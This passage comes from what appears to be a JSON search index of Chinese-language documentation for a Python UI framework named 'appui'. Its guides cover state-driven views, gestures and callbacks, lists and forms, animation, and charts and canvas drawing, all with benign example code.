appui.Text(f\"Count: {state.count}\")\n .font(\"largeTitle\")\n .bold(),\n appui.Button(\"Add\", action=increment)\n .button_style(\"bordered_prominent\"),\n ], spacing=16).padding()\n\n\nappui.run(body, state=state) 这段代码里没有“更新 label 文本”的命令。按钮只修改 state.count,下一次重建时 Text 自然显示新值。 View 树 View 可以嵌套,也可以根据状态返回不同分支。 import appui\n\nstate = appui.State(logged_in=False)\n\n\ndef log_in():\n state.logged_in = True\n\n\ndef body():\n if state.logged_in:\n content = appui.Text(\"已登录\").font(\"title2\")\n else:\n content = appui.Button(\"登录\", action=log_in)\n\n return appui.VStack([\n appui.Text(\"欢迎\").font(\"largeTitle\").bold(),\n content,\n ], spacing=20).padding()\n\n\nappui.run(body, state=state) 条件分支应该返回完整的 View。不要在 body() 外保存某个 View 再反复修改它。 State 先行 写界面前先列状态字段: 场景 推荐状态 普通字段、表单、开关 `State` 高频数值,如 slider、拖动、图表数据 `ReactiveState` 不触发重建的对象句柄 `Ref` 列表 / 字典增删改 `ObservableList` / `ObservableDict` 状态写入通常放在按钮、输入框绑定、手势或定时器回调里。多个字段一起改时用 state.batch_update(...),避免中间状态触发多次重建。 修饰符链 修饰符返回新的 View 描述,因此可以连续调用: (\n appui.Text(\"Hello\")\n .font(\"title\")\n .foreground_color(\"white\")\n .padding()\n .background(\"systemBlue\")\n .corner_radius(12)\n) 常用顺序是:内容样式 尺寸/间距 背景/边框 交互/导航。遇到视觉不对,优先检查修饰符顺序。 导航也是数据 导航栈不要当成“打开页面”的命令集合,而是一个路径状态。 import appui\n\npath = appui.NavigationPath()\nstate = appui.State()\n\n\ndef open_settings():\n path.append({\"tag\": \"settings\"})\n\n\ndef go_back():\n path.pop()\n\n\ndef settings_destination(data):\n return appui.VStack([\n appui.Text(\"设置\").font(\"title2\"),\n appui.Button(\"返回\", action=go_back),\n ], spacing=12).padding()\n\n\ndef body():\n return appui.NavigationStack(\n content=appui.VStack([\n appui.Text(\"首页\").navigation_title(\"示例\"),\n appui.Button(\"去设置页\", action=open_settings),\n ], spacing=16).padding(),\n path=path,\n destinations={\n \"settings\": settings_destination,\n },\n )\n\n\nappui.run(body, state=state) destinations 的回调会接收 data 参数;即使暂时不用,也要写成命名函数,避免把页面构造逻辑藏在内联回调里。 常见误区 误区 改法 在 `body()` 里创建定时器或发请求 放到 `effect`、按钮回调或生命周期回调。 把 View 保存到全局变量里再修改 保存状态,不保存 View。 列表原地改了但界面不刷新 使用 `ObservableList`,或重新赋值一个新列表。 参数名不确定 以 API 参考和代码补全为准。 一个 `body()` 写成几百行 拆成普通 Python 函数返回子 View。 下一步 状态管理 了解 State、ReactiveState、Ref 的边界。 布局系统 学会 Stack、Grid、ScrollView 和安全区。 导航与呈现 学会 NavigationStack、sheet、alert、popover。" + }, + { + "id": "appui-guide-interaction", + "title": "交互与回调", + "subtitle": "按钮、输入、on_change、sheet 和行级回调的可靠写法。", + "section": "appui / 指南", + "url": "pages/appui-guide-interaction/", + "text": "交互与回调 按钮、输入、on_change、sheet 和行级回调的可靠写法。 appui 指南 appui callback button interaction 回调 callback lambda Button on_change on_dismiss 交互与回调 触摸、长按、拖拽与捏合等交互通过视图修饰符绑定到 Python 回调。键盘与焦点用 .focused 与 .keyboard_dismiss 控制;上下文菜单用 .context_menu;需要与系统手势共存时用 .simultaneous_gesture 或 .high_priority_gesture。 预期效果 示例会展示点击、长按、焦点、键盘、拖拽和行级动作的反馈路径。 概念速览 能力 API 点击 / 长按 `.on_tap(action)`、`.on_long_press(...)` 拖移 / 捏合 / 旋转 `.on_drag`、`.on_magnification`、`.on_rotation` 组合手势 `.simultaneous_gesture(...)`、`.high_priority_gesture(...)` 菜单 `.context_menu(content=[...])` 焦点与键盘 `.focused(...)`、`.keyboard_dismiss(mode)` 禁用 `.disabled(value)` 气泡菜单 `.popover(is_presented, content, on_dismiss)` 搜索和刷新 `.searchable(...)`、`.refreshable(...)` 列表动作 `.swipe_actions(...)` 手势优先级 普通子视图手势:默认由子控件(如 Button)消费点击。 simultaneous_gesture:与视图自身手势并行,适合在可滚动区域附加轻量检测。 high_priority_gesture:优先于子视图;仅在确有需要时使用,否则容易导致按钮点不动。 context_menu 的 content 是 Button 视图列表,不要用任意字符串代替 Button。 基础示例 点击计数、长按提示、context_menu 弹出操作。示例使用命名回调,预览里每个动作都有状态反馈。 import appui\n\nstate = appui.State(count=0, hint=\"\")\n\n\ndef add_count():\n state.count += 1\n\n\ndef reset_count():\n state.batch_update(count=0, hint=\"已归零\")\n\n\ndef double_count():\n state.batch_update(count=state.count * 2, hint=\"已加倍\")\n\n\ndef show_long_press_hint():\n state.hint = \"长按已触发\"\n\n\ndef body():\n block = (\n appui.RoundedRectangle(corner_radius=16)\n .fill(\"systemBlue\")\n .frame(width=140, height=90)\n .on_tap(add_count)\n .on_long_press(action=show_long_press_hint, min_duration=0.4)\n .context_menu(content=[\n appui.Button(\"归零\", action=reset_count),\n appui.Button(\"加倍\", action=double_count),\n ])\n )\n\n return appui.NavigationStack(\n appui.ScrollView(\n appui.VStack([\n appui.Text(f\"计数: {state.count}\").font(\"title\"),\n appui.Text(state.hint or \"点击或长按蓝色块\")\n .font(\"footnote\")\n .foreground_color(\"secondaryLabel\"),\n block,\n ], spacing=20).padding()\n )\n .keyboard_dismiss(\"interactive\")\n .navigation_title(\"交互示例\")\n )\n\n\nappui.run(body, state=state) 焦点、键盘和 Popover focused(key=..., equals=...) 适合多个输入字段之间切换焦点。keyboard_dismiss(\"interactive\") 通常加在 ScrollView 或列表外层。 import appui\n\nstate = appui.State(\n active_field=\"name\",\n name=\"Ada\",\n city=\"上海\",\n show_pop=False,\n lock_inputs=False,\n gesture_log=\"\",\n)\n\n\ndef set_name(value):\n state.name = value\n\n\ndef set_city(value):\n state.city = value\n\n\ndef focus_name():\n state.active_field = \"name\"\n\n\ndef focus_city():\n state.active_field = \"city\"\n\n\ndef set_lock_inputs(value):\n state.lock_inputs = bool(value)\n\n\ndef open_popover():\n state.show_pop = True\n\n\ndef close_popover():\n state.show_pop = False\n\n\ndef log_long_press():\n state.gesture_log = \"叠加长按\"\n\n\ndef popover_content():\n return appui.VStack([\n appui.Text(\"Popover / Sheet 内容\").font(\"headline\"),\n appui.Button(\"关闭\", action=close_popover),\n ], spacing=12).padding()\n\n\ndef body():\n popover_trigger = (\n appui.Text(\"点我打开 Popover\")\n .padding()\n .background(\"systemGray5\", corner_radius=8)\n .popover(is_presented=state.show_pop, on_dismiss=close_popover, content=popover_content)\n .on_tap(open_popover)\n .simultaneous_gesture(\n gesture=\"long_press\",\n callback=log_long_press,\n min_duration=0.35,\n )\n .disabled(state.lock_inputs)\n )\n\n return appui.NavigationStack(\n appui.ScrollView(\n appui.VStack([\n appui.TextField(\"姓名\", text=state.name, on_change=set_name)\n .text_field_style(\"rounded_border\")\n .focused(key=\"name\", equals=state.active_field)\n .on_submit(focus_city),\n appui.TextField(\"城市\", text=state.city, on_change=set_city)\n .text_field_style(\"rounded_border\")\n .focused(key=\"city\", equals=state.active_field),\n appui.HStack([\n appui.Button(\"编辑姓名\", action=focus_name).button_style(\"bordered\"),\n appui.Button(\"编辑城市\", action=focus_city).button_style(\"bordered\"),\n ], spacing=12),\n appui.Toggle(\"锁定输入\", is_on=state.lock_inputs, on_change=set_lock_inputs),\n appui.Text(state.gesture_log or \"在灰色区域长按可触发 simultaneous_gesture\")\n .font(\"caption\")\n .foreground_color(\"secondaryLabel\"),\n popover_trigger,\n ], spacing=16).padding()\n )\n .keyboard_dismiss(\"interactive\")\n .navigation_title(\"焦点与手势\")\n )\n\n\nappui.run(body, state=state) 拖拽、缩放和旋转 on_drag、on_magnification、on_rotation 的回调由运行时传入测量值或字典。实际项目里先把返回值显示出来,再按需要解析字段。 def drag_changed(value):\n state.gesture_log = str(value)\n\n\ndef drag_ended(value):\n state.gesture_log = f\"ended: {value}\"\n\n\nview.on_drag(on_changed=drag_changed, on_ended=drag_ended) 如果子控件本身需要点击,谨慎使用 high_priority_gesture,它会优先于子视图手势。 行级动作和刷新 列表行的交互要绑定稳定 id,不要依赖过滤后的下标。下拉刷新使用 .refreshable(action=...)。 import appui\n\nstate = appui.State(\n query=\"\",\n selected=\"None\",\n refresh_count=0,\n rows=[\n {\"id\": \"api\", \"title\": \"API reference\", \"done\": False},\n {\"id\": \"ui\", \"title\": \"Preview UI\", \"done\": True},\n {\"id\": \"docs\", \"title\": \"Docs guide\", \"done\": False},\n ],\n)\n\n\ndef row_key(row):\n return row[\"id\"]\n\n\ndef set_query(value):\n state.query = value\n\n\ndef filtered_rows():\n keyword = state.query.strip().lower()\n if not keyword:\n return state.rows\n return [row for row in state.rows if keyword in row[\"title\"].lower()]\n\n\ndef refresh_rows():\n state.refresh_count += 1\n\n\ndef select_row(row_id):\n for row in state.rows:\n if row[\"id\"] == row_id:\n state.selected = row[\"title\"]\n break\n\n\ndef toggle_row(row_id):\n state.rows = [\n {**row, \"done\": not row[\"done\"]} if row[\"id\"] == row_id else row\n for row in state.rows\n ]\n\n\ndef row_view(row):\n def select_current():\n select_row(row[\"id\"])\n\n def toggle_current():\n toggle_row(row[\"id\"])\n\n icon = \"checkmark.circle.fill\" if row[\"done\"] else \"circle\"\n return (\n appui.Button(\n action=select_current,\n content=appui.HStack([\n appui.Label(row[\"title\"], system_image=icon),\n appui.Spacer(),\n appui.Text(\"Open\").foreground_color(\"secondaryLabel\"),\n ]),\n )\n .button_style(\"plain\")\n .swipe_actions(actions=[\n appui.Button(\"Toggle\", action=toggle_current),\n ])\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"Rows\", [\n appui.ForEach(filtered_rows(), row_builder=row_view, key=row_key)\n ]),\n appui.Section(\"State\", [\n appui.LabeledContent(\"Selected\", value=state.selected),\n appui.LabeledContent(\"Refresh count\", value=str(state.refresh_count)),\n ]),\n ])\n .searchable(text=state.query, on_change=set_query)\n .refreshable(action=refresh_rows)\n .navigation_title(\"Callbacks\")\n )\n\n\nappui.run(body, state=state) 常见误区 on_long_press 与 context_menu 都使用长按语义;同时启用时要实测是否冲突。 .focused(key=..., equals=...) 的 equals 应绑定到 State 中的当前字段名。 simultaneous_gesture 的 gesture 常用 'tap'、'long_press'、'magnification'。 high_priority_gesture 过度使用会导致子按钮点击失效。 keyboard_dismiss 通常加在 ScrollView 或列表外层。 行级按钮要操作稳定 id,不要操作过滤后的下标。 延伸阅读 修饰符 API:查看手势、焦点和键盘相关修饰符签名。 呈现 API:查看 sheet、alert、refresh、swipe action。" + }, + { + "id": "appui-guide-lists", + "title": "列表与表单", + "subtitle": "List、ForEach、Form、Section、搜索、刷新和滑动操作。", + "section": "appui / 指南", + "url": "pages/appui-guide-lists/", + "text": "列表与表单 List、ForEach、Form、Section、搜索、刷新和滑动操作。 appui 指南 appui list form List ForEach Form Section searchable refreshable 列表与表单 List 与 Form 是展示结构化数据的首选:List 适合可选中、滑动操作的行;Form 适合设置页分组。ForEach 把 Python 序列映射为多行视图;Section 提供分组标题与脚注。修饰符 .list_style、.swipe_actions、.refreshable、.searchable 直接链在列表(或承载搜索的外层容器)上;若要显式包裹整行,也可使用 SwipeActions(content=..., leading=..., trailing=...)。当前框架 不提供 List / ForEach 原生 on_delete 契约,删除动作请放在行级滑动按钮中。 预期效果 示例会展示原生 List 的搜索、刷新、空状态、行操作和长列表承载方式。 概念速览 能力 API 列表 `List(content)` 数据驱动行 `ForEach(data, row_builder, key=...)` 表单 `Form(content)`、`Section(\"标题\", content)`、`Section(content, header=...)` 样式 / 交互 `.list_style(style)`、`.swipe_actions`、`.refreshable(action)`、`.searchable(text, on_change)` 行外观 `.list_row_background(color)`、`.list_row_separator(visibility)` 与 AppUI 的对应关系 List / Form 都是 纵向 容器;Form 默认呈现分组设置样式,但仍可用 Section 组织子控件。 ForEach 不是布局,它把 Python 可迭代对象 展开 为多个子视图,因此必须保证 row_builder(item) 每次返回一棵合法的 View 子树。 .searchable 是 修饰符 :搜索框属于页面的一部分,过滤逻辑仍由你在 body() 里用 State 完成(见进阶示例)。 State 对嵌套 list / dict 有深度观察;为减少多余刷新,批量修改请用 batch_update。 list_style 常用取值 automatic、inset、inset_grouped、grouped、plain、sidebar。设置页多用 inset_grouped,侧边栏列表可用 sidebar。 基础示例 静态 Form + Section,以及一个简单的 List。 import appui\n\nstate = appui.State(notify=True, note=\"\")\n\n\ndef set_note(value):\n state.note = value\n\n\ndef set_notify(value):\n state.notify = value is True or value == \"True\" or value == \"true\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form(\n [\n appui.Section(\n \"账户\",\n [\n appui.TextField(\n \"备注\",\n text=state.note,\n on_change=set_note,\n ).text_field_style(\"rounded_border\"),\n ],\n ),\n appui.Section(\n \"通知\",\n [\n appui.Toggle(\n label=\"接收提醒\",\n is_on=state.notify,\n on_change=set_notify,\n ),\n ],\n footer=\"关闭后仍保留本地数据。\",\n ),\n ]\n )\n .navigation_title(\"表单示例\")\n )\n\n\nappui.run(body, state=state) 进阶示例 ForEach 动态行、.swipe_actions 删除、.searchable 过滤、.refreshable 下拉刷新、.list_style('inset_grouped'),以及 .list_row_background / .list_row_separator。 下面示例刻意把 过滤逻辑 放在 body() 顶部函数 filtered_items() 中,而不是藏在内联回调深处,便于单元测试与复用;refreshable 仅更新提示字符串,避免阻塞 UI 线程。 import appui\n\nstate = appui.State(\n items=[\"买牛奶\", \"写 appui 教程\", \"跑步三公里\"],\n query=\"\",\n refreshing_hint=\"\",\n)\n\n\ndef delete_item(name):\n remaining = [x for x in state.items if x != name]\n state.items = remaining\n\n\ndef set_query(value):\n state.query = value\n\n\ndef refresh_list():\n state.refreshing_hint = \"已触发刷新回调(可在此拉取网络数据)\"\n\n\ndef item_key(item):\n return item\n\n\ndef row_view(item):\n def delete_current():\n delete_item(item)\n\n return (\n appui.Text(item)\n .list_row_background(\"secondarySystemBackground\")\n .list_row_separator(\"hidden\")\n .swipe_actions(\n edge=\"trailing\",\n content=[\n appui.Button(\n \"删除\",\n role=\"destructive\",\n action=delete_current,\n )\n ],\n )\n )\n\n\ndef filtered_items():\n q = state.query.strip().lower()\n if not q:\n return list(state.items)\n return [x for x in state.items if q in x.lower()]\n\n\ndef body():\n rows = filtered_items()\n return appui.NavigationStack(\n appui.VStack(\n [\n appui.Text(\"在搜索框输入以过滤\").font(\"caption\").foreground_color(\"secondaryLabel\"),\n appui.List(\n [\n appui.ForEach(\n rows,\n row_builder=row_view,\n key=item_key,\n )\n ]\n )\n .searchable(\n text=state.query,\n on_change=set_query,\n )\n .refreshable(action=refresh_list)\n .list_style(\"inset_grouped\"),\n appui.Text(state.refreshing_hint or \"下拉列表以触发 refreshable\")\n .font(\"footnote\")\n .foreground_color(\"systemOrange\"),\n ],\n spacing=8,\n )\n .padding()\n .navigation_title(\"列表与搜索\")\n )\n\n\nappui.run(body, state=state) 常见误区 ForEach 必须提供稳定 key :字符串列表可用命名函数返回字符串本身;对象列表应使用唯一 id,否则删除 / 重排时行状态会错乱。 .searchable 修饰的是「承载列表的视图」 :通常与 List 链在一起;搜索文本要存入 State 并在 body() 里用同一字段过滤数据。 swipe_actions 挂在「行视图」上 :如示例中对 Text(item) 链式调用;挂在 List 整表上不会给每行单独滑动按钮。 原地修改 state.items 列表 :state.items.remove(x) 若列表是普通 list 可能不会触发深度观察;推荐 state.items = new_list 或 batch_update(与 State 刷新规则一致)。 Section 的参数顺序 :推荐 Section(\"标题\", [views], footer=\"...\");需要关键字时再用 Section(content=[views], header=\"标题\")。嵌套在 Form 中时务必传入 视图列表 。 refreshable 的回调尽量短 :下拉刷新结束后系统才会收起转圈;若在回调里做长时间阻塞,界面会看起来「卡住」。可在回调里只更新标志位,把重活放到线程(注意线程安全与 State 更新方式)。 list_row_background 颜色与深色模式 :硬编码 F2F2F7 在深色模式下可能对比不佳;可改用语义色如 secondarySystemBackground。 同一行不要同时依赖横向 on_drag 与滑删 :系统滑动按钮与自定义水平拖拽共用手势通道;建议拆成不同交互区域或移除该行的滑动按钮。 练习题 把 List 改为 List + NavigationLink,每行进入只读详情页。 在 swipe_actions 的 edge='leading' 侧增加「完成」按钮,并用 .tint('green') 区分颜色。 用 appui.LabeledContent 在 Form 最后一节展示当前过滤结果条数。 附录:仅构建 List 树(不调用 run) import appui\n\ndata = [\"a\", \"b\"]\n\n\ndef text_row(value):\n return appui.Text(value)\n\n\ndef text_key(value):\n return value\n\n\ntree = appui.List(\n [\n appui.ForEach(\n data,\n row_builder=text_row,\n key=text_key,\n )\n ]\n)\nprint(tree) 延伸阅读(仓库内) 完整页面可以组合 ForEach、swipe_actions、searchable 与 list_style。 可选:LazyVStack 承载超长列表 当行数可能上千时,可将 ForEach 放进 ScrollView + LazyVStack,以减轻一次性构建整表的开销。入口写法见 appui 概览。 import appui\n\nstate = appui.State(rows=list(range(60)))\n\n\ndef lazy_row(value):\n return appui.Text(f\"第 {value} 行\").padding(edges=\"horizontal\")\n\n\ndef lazy_key(value):\n return value\n\n\ndef body():\n return appui.NavigationStack(\n appui.ScrollView(\n appui.LazyVStack(\n [\n appui.ForEach(\n state.rows,\n row_builder=lazy_row,\n key=lazy_key,\n )\n ],\n spacing=6,\n )\n )\n .navigation_title(\"懒加载列表示例\")\n )\n\n\nappui.run(body, state=state) 排错清单(自查) 现象 可能原因 处理方向 搜索框无反应 `on_change` 未写回 `State` 确保 `setattr(state, 'query', v)` 滑动无删除按钮 `swipe_actions` 挂在 `List` 上 移到行视图 误以为支持原生删除 直接寻找 `on_delete` / `.onDelete` 改用行级 `.swipe_actions(...)` 或 `SwipeActions(...)` 同一行横向拖拽失效 该行同时配置了 `on_drag` 与 `swipe_actions` 保留其一,或把拖拽手势移到子区域 下拉不触发 `refreshable` 未链到可滚动父级 与 `List` / `ScrollView` 链式连接 过滤结果不刷新 `filtered` 未依赖 `state` 把过滤函数放在 `body()` 内读取最新 `state`" + }, + { + "id": "appui-guide-animation", + "title": "动画", + "subtitle": "animate、animation、transition、matched geometry 和 phase animator。", + "section": "appui / 指南", + "url": "pages/appui-guide-animation/", + "text": "动画 animate、animation、transition、matched geometry 和 phase animator。 appui 指南 appui animation animate animation transition phase_animator matched_geometry_effect 动画 appui 提供两类动画能力: 隐式动画 (.animation(type, value) 在依赖变化时插值)与 显式动画 (appui.animate(action, type) 包裹一次状态更新)。此外还有 过渡 (.transition)、 变换 (.scale_effect、.rotation_effect、.rotation_3d_effect)、 共享几何 (.matched_geometry_effect)、 内容过渡 (.content_transition)与 相位动画 (.phase_animator)。 从 AppUI Presentation Engine 起,show_ 、 _presented 等呈现状态字段变化会自动触发 spring 动画;sheet / alert / cover 的进出通常不必再手写 appui.animate()。 第四档 PresentationCoordinator 会在注册表有效时跳过 body() 与整树 JSON,直接更新原生 presentation binding;可用 appui.presentation_present / appui.presentation_dismiss_all 显式控制。完整规范见 Presentation Engine Spec。 预期效果 示例会展示隐式动画、显式动画、转场和共享几何效果如何响应状态变化。 概念速览 能力 API 隐式动画 `.animation(type='spring', value=...)`,`type` 可为 `default`、`linear`、`easeIn`、`easeOut`、`easeInOut`、`spring`、`interpolatingSpring` 显式动画 `appui.animate(action, type)` 出现 / 消失 `.transition(type)`:`opacity`、`slide`、`scale`、`move`、`push`、`identity` 2D / 3D 变换 `.scale_effect`、`.rotation_effect`、`.rotation_3d_effect` 共享元素 `.matched_geometry_effect(ns_id, namespace, is_source)` 文本或数字切换 `.content_transition(type)` 循环呼吸效果 `.phase_animator(phases)` 隐式 vs 显式:怎么选 隐式 :适合「依赖项变化 → 自动插值」的 UI,如计数、开关、列表插入;把 .animation(..., value=state.x) 放在 依赖该字段的子树 上。 显式 :适合一次事务内多处 State 同步更新(例如先收起面板再改标题)。把更新逻辑放进命名函数,再用 appui.animate(update_state, \"spring\") 保证同一帧动画曲线一致。 animation 的 type 取值 default、linear、easeIn、easeOut、easeInOut、spring、interpolatingSpring。未列出的字符串请避免使用,以免系统忽略。 基础示例 用 appui.animate 更新计数,并对数字附加 .animation('spring', value=...)。 import appui\n\nstate = appui.State(score=0)\n\n\ndef decrease_value():\n state.score -= 1\n\n\ndef increase_value():\n state.score += 1\n\n\ndef decrease_score():\n appui.animate(decrease_value, \"easeOut\")\n\n\ndef increase_score():\n appui.animate(increase_value, \"spring\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.VStack(\n [\n appui.Text(f\"得分: {state.score}\")\n .font(\"largeTitle\")\n .bold()\n .animation(\"spring\", value=state.score),\n appui.HStack(\n [\n appui.Button(\n \"−\",\n action=decrease_score,\n ).button_style(\"bordered\"),\n appui.Button(\n \"+\",\n action=increase_score,\n ).button_style(\"bordered_prominent\"),\n ],\n spacing=24,\n ),\n ],\n spacing=24,\n )\n .padding()\n .navigation_title(\"显式动画\")\n )\n\n\nappui.run(body, state=state) 进阶示例 transition + scale_effect + rotation_effect + rotation_3d_effect + matched_geometry_effect + content_transition + phase_animator。 import appui\n\nstate = appui.State(show_panel=False, label=\"轻点切换\")\n\n\ndef toggle_panel():\n state.batch_update(\n show_panel=not state.show_panel,\n label=\"面板已打开\" if not state.show_panel else \"面板已关闭\",\n )\n\n\ndef body():\n panel = (\n appui.RoundedRectangle(corner_radius=18)\n .fill(\"systemTeal\")\n .frame(width=120, height=120)\n .scale_effect(0.92)\n .rotation_effect(6)\n .matched_geometry_effect(ns_id=\"card\", namespace=\"demo\", is_source=True)\n .transition(\"scale\")\n )\n placeholder = (\n appui.Circle()\n .fill(\"systemGray4\")\n .frame(width=120, height=120)\n .matched_geometry_effect(ns_id=\"card\", namespace=\"demo\", is_source=False)\n .transition(\"opacity\")\n )\n return appui.NavigationStack(\n appui.ScrollView(\n [\n appui.VStack(\n [\n appui.Text(state.label)\n .font(\"title2\")\n .content_transition(\"interpolate\"),\n appui.Button(\n action=toggle_panel,\n content=appui.Text(\"切换面板\").padding(),\n ).button_style(\"bordered_prominent\"),\n panel if state.show_panel else placeholder,\n appui.Text(\"3D 倾斜\")\n .font(\"footnote\")\n .foreground_color(\"secondaryLabel\"),\n appui.Rectangle()\n .fill(\"systemOrange\")\n .frame(width=100, height=44)\n .rotation_3d_effect(18, x=0, y=1, z=0),\n appui.Text(\"相位动画\")\n .font(\"footnote\")\n .foreground_color(\"secondaryLabel\"),\n appui.Capsule()\n .fill(\"systemPink\")\n .frame(width=160, height=36)\n .phase_animator([0, 0.4, 1.0, 0.4, 0]),\n ],\n spacing=20,\n )\n .padding()\n ]\n )\n .navigation_title(\"动画组合\")\n )\n\n\nappui.run(body, state=state) 常见误区 value 与隐式动画 :.animation(..., value=state.x) 仅在 value 引用发生变化时触发动画;若传入常量则不会按预期刷新。 appui.animate 的第一个参数 :必须是 无参可调用对象 (推荐命名函数里批量改 State),不要写成 appui.animate(state.count + 1)。 matched_geometry_effect :成对视图需 相同的 namespace 与 ns_id ,且通常配合显式布局;在复杂导航栈里要注意 is_source 切换时机。 phase_animator :依赖 iOS 17+ 能力,在旧系统上可能降级或无动画。 transition 与条件渲染 :过渡只在视图插入/移除时生效;若仅修改子视图文字,应优先 .content_transition。 interpolatingSpring 与 spring :二者曲线不同;若出现振荡或回弹过大,优先改回 default 或 easeInOut 验证是否由曲线本身引起。 rotation_3d_effect 与透视 :极端角度可能导致子视图不可读;建议限制在 ±45° 内做 UI 提示级动效。 练习题 用 ZStack 叠放两个 Text,通过 state 切换 id(...),并分别设置 .transition('slide') 与 .transition('move')。 给按钮增加 .sensory_feedback(style='success', trigger=str(state.score)),观察与 animate 联动的手感。 对照 入口函数 API,说明为何在回调里应优先使用 batch_update。 延伸阅读(仓库内) 修饰符 API:查看 animation、transition、phase_animator 等签名。 附录:transition 与 opacity 最小片段 import appui\n\nflag = True\n\n\ndef toggle():\n global flag\n flag = not flag\n\n\nroot = appui.Group(\n [\n appui.Text(\"A\").opacity(1).transition(\"opacity\"),\n appui.Text(\"B\").transition(\"push\"),\n ]\n)\nassert root is not None 调试建议 若动画「时有时无」,先在浏览器式调试思路下 二分法 排查:去掉 matched_geometry_effect 与 phase_animator 等高级修饰符,仅保留 .animation(..., value=...),确认基础路径正常后再逐项加回。 DrawingContext 与动画的关系 本章专注视图修饰符与 animate();若需要在画布上做连续帧动画,常见做法是:用 State 保存相位或采样数组,在 Timer 或后台线程里更新 State,由 Canvas(..., commands=...) 或 DrawingContext 重建命令列表。此类模式属于「数据驱动重绘」,而不是 transition 插值。 与 ReactiveState / 实时属性通道 高频控件(如 Slider)在 ReactiveState 场景下可能走实时属性通道;此时 .animation(..., value=...) 仍绑定在普通 Text 上即可。避免同一字段既高频写入,又驱动整棵页面频繁重建。若动画曲线和预期不一致,先拆分「需要动画的只读展示」与「高频写控件」,再查看 状态 API。" + }, + { + "id": "appui-guide-charts", + "title": "图表与绘图", + "subtitle": "Chart、Canvas、DrawingContext 和 Path 的使用模式。", + "section": "appui / 指南", + "url": "pages/appui-guide-charts/", + "text": "图表与绘图 Chart、Canvas、DrawingContext 和 Path 的使用模式。 appui 指南 appui chart canvas Chart Canvas DrawingContext Path 图表 画布 图表与画布 Chart 提供系统图表视图,用字典列表作为数据源,指定 x / y 键与 type。Canvas 用绘制命令渲染自定义图形,可用 DrawingContext 链式生成命令,或直接传入 commands 字典列表。Path 则用于矢量路径(move / line / close 等)。 预期效果 示例会展示柱状/折线图、Canvas 绘制和 Path 图形在页面中的结果。 概念速览 能力 API 统计图 `Chart(data, x, y, type='bar', color=None, series=None)` 画布绘制 `DrawingContext().fill_rect(...)...` 与 `Canvas(width, height, context=ctx)` 原始命令 `Canvas(width, height, commands=[{'op': 'fill_rect', ...}, ...])` 矢量路径 `Path(commands=[...], fill=..., stroke=..., line_width=...)` 五种 Chart 类型的直观含义 bar :离散类别对比,适合少量枚举横轴(如月份、地区)。 line :连续或有序横轴上的趋势;与 series 组合可绘制多条线。 area :与折线类似,但填充下方区域,强调「累积感」或占比。 point :强调散点分布,适合样本量不大时的离群观察。 rule :水平或垂直参考线,适合阈值、平均线等「标线」场景(数据需自行构造为常数 y 或 x)。 Canvas 两条路径 声明式 :DrawingContext 链式调用,最后交给 Canvas(..., context=ctx);可读性高,适合中等数量图元。 命令列表 :直接维护 commands 列表,适合波形、频谱等高频追加场景。 基础示例 同一组销售数据,切换 Chart 的 type。 import appui\n\nstate = appui.State(chart_kind=\"bar\")\n\nSALES = [\n {\"m\": \"1月\", \"v\": 12},\n {\"m\": \"2月\", \"v\": 19},\n {\"m\": \"3月\", \"v\": 15},\n {\"m\": \"4月\", \"v\": 22},\n]\n\n\ndef set_chart_kind(value):\n state.chart_kind = value\n\n\ndef body():\n return appui.NavigationStack(\n appui.VStack(\n [\n appui.Picker(\n label=\"图表类型\",\n selection=state.chart_kind,\n options=[\"bar\", \"line\", \"area\", \"point\", \"rule\"],\n on_change=set_chart_kind,\n ).picker_style(\"segmented\"),\n appui.Chart(\n data=SALES,\n x=\"m\",\n y=\"v\",\n type=state.chart_kind,\n color=\"systemBlue\",\n ).frame(height=220),\n ],\n spacing=16,\n )\n .padding()\n .navigation_title(\"Chart 类型\")\n )\n\n\nappui.run(body, state=state) 进阶示例 多系列折线(series 键)、完整 DrawingContext 演示、Canvas 原始 commands、Path 三角形。 import appui\n\nstate = appui.State()\n\nMULTI = [\n {\"day\": \"周一\", \"amount\": 3, \"team\": \"A\"},\n {\"day\": \"周二\", \"amount\": 5, \"team\": \"A\"},\n {\"day\": \"周一\", \"amount\": 4, \"team\": \"B\"},\n {\"day\": \"周二\", \"amount\": 2, \"team\": \"B\"},\n]\n\n\ndef body():\n ctx = appui.DrawingContext()\n ctx.fill_rect(0, 0, 300, 120, color=\"secondarySystemBackground\")\n ctx.stroke_rect(8, 8, 100, 60, color=\"label\", line_width=1)\n ctx.fill_circle(150, 40, 22, color=\"systemRed\")\n ctx.stroke_circle(150, 40, 28, color=\"systemOrange\", line_width=2)\n ctx.fill_ellipse(190, 15, 50, 50, color=\"systemPurple\")\n ctx.stroke_ellipse(190, 15, 50, 50, color=\"systemYellow\", line_width=2)\n ctx.line(10, 100, 290, 100, color=\"separator\", line_width=1)\n ctx.fill_text(\"DrawingContext\", 12, 88, color=\"label\", font_size=14)\n ctx.fill_path([(200, 75), (260, 110), (170, 110)], color=\"systemGreen\", close=True)\n ctx.stroke_path([(20, 70), (60, 95), (40, 50)], color=\"systemBlue\", line_width=2, close=True)\n ctx.arc(80, 95, 18, start_angle=0, end_angle=270, color=\"systemTeal\", line_width=2, fill=False)\n ctx.rounded_rect(\n 230, 70, 60, 40,\n corner_radius=10,\n color=\"systemIndigo\",\n line_width=2,\n fill=False,\n )\n ctx.gradient_rect(120, 72, 90, 36, colors=[\"systemPink\", \"systemMint\"], vertical=True)\n\n wave_commands = [\n {\"op\": \"fill_rect\", \"x\": 0, \"y\": 0, \"w\": 300, \"h\": 80, \"c\": \"systemGray6\"},\n ]\n for i in range(40):\n wave_commands.append(\n {\n \"op\": \"fill_rect\",\n \"x\": i * 7.5,\n \"y\": 40 + (i % 5) * 6,\n \"w\": 5,\n \"h\": 12 + (i % 7) * 2,\n \"c\": \"systemCyan\",\n }\n )\n\n triangle = appui.Path(\n commands=[\n {\"move\": [40, 20]},\n {\"line\": [80, 20]},\n {\"line\": [60, 60]},\n {\"close\": True},\n ],\n fill=\"systemYellow\",\n stroke=\"systemOrange\",\n line_width=2,\n )\n\n return appui.NavigationStack(\n appui.ScrollView(\n [\n appui.VStack(\n [\n appui.Text(\"多系列折线 (series)\").font(\"headline\"),\n appui.Chart(\n data=MULTI,\n x=\"day\",\n y=\"amount\",\n type=\"line\",\n series=\"team\",\n color=\"systemBlue\",\n ).frame(height=200),\n appui.Text(\"DrawingContext → Canvas\").font(\"headline\"),\n appui.Canvas(width=300, 